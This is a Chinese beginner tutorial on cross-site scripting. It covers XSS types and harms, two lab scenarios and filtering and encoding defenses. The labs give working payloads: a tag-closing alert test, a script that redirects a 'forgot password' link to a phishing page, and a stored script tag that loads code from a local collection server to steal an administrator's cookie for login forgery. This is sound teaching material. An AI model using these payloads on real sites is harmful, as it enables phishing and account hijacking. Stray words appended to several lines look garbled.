初级安全入门——XSS注入的原理与利用

XSS的简单介绍

  • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户目的。
  • XSS危害:
    • 流量劫持
    • 获取用户cookie信息,盗取帐号
    • 篡改、删除页面信息(钓鱼)
    • 配合CSRF攻击,实施进一步攻击
  • XSS分类
    • 反射型XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,而后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就形成XSS漏洞,这个过程就像一次反射,因此叫反射型XSS。
    • 存储型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,形成XSS跨站攻击,这是存储型XSS。
    • DOM型:不通过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是经过url传入参数去控制触发的。

实验场景一:钓鱼攻击

任务一:

测试管理界面是否存在XSSphp

小提示:提示错误url会返回username的值,闭合先后标签后端

在用户名框中输入"><script>alert(2)</script>(闭合input标签)浏览器

结果,界面弹窗,证实该系统存在XSS注入服务器

任务二:

上一步验证得出,该页面存在XSS漏洞。接下来针对该漏洞进行修改连接属性实现跳转到钓鱼界面cookie

在username=后面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘记密码a标签的href,使其指向钓鱼网站)dom

点击忘记密码,进入了钓鱼网站xss

实验场景二:盗取cookie

任务一:

将js代码</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>; 发表在文章管理系统的留言板上(该地址指向存放接收信息的服务器上的js路径)测试

任务二:

当后台管理员审核留言(或者其余用户查看到该留言)时,触发页面执行js脚本,将浏览器的cookie发送到接收服务器网站

收到cookie后,手动给浏览器添加对应cookie编码

实现伪造管理员(用户)登陆

XSS漏洞防范

  • XSS的威力主要是取决于JavaScript可以实现的程度,XSS跨站脚本的造成缘由是对输入输出没有严格过滤,致使在页面上能够执行JavaScript等客户端代码,因此只要将敏感字符过滤,就能够修复XSS跨站漏洞。
  • 修复和防范方法:
    • 三种类型的XSS漏洞均可以经过过滤或编码进行修复。
    • 反射型XSS和存储型XSS能够在服务端对用户输入输出的内容过滤和编码操做,将关键字进行过滤处理,关键符号进行编码处理,如将全部on事件,script等关键字进行过滤,将全部<,>,”,’,=等特殊符号进行实体化编码或url编码即可以修复。
    • DOM型XSS若有在服务端进行交互,也可参考上述的方法进行修复,如未和服务端进行交互,可在客户端使用JavaScript等客户端脚本语言进行编码和过滤处理。
相关文章
相关标签/搜索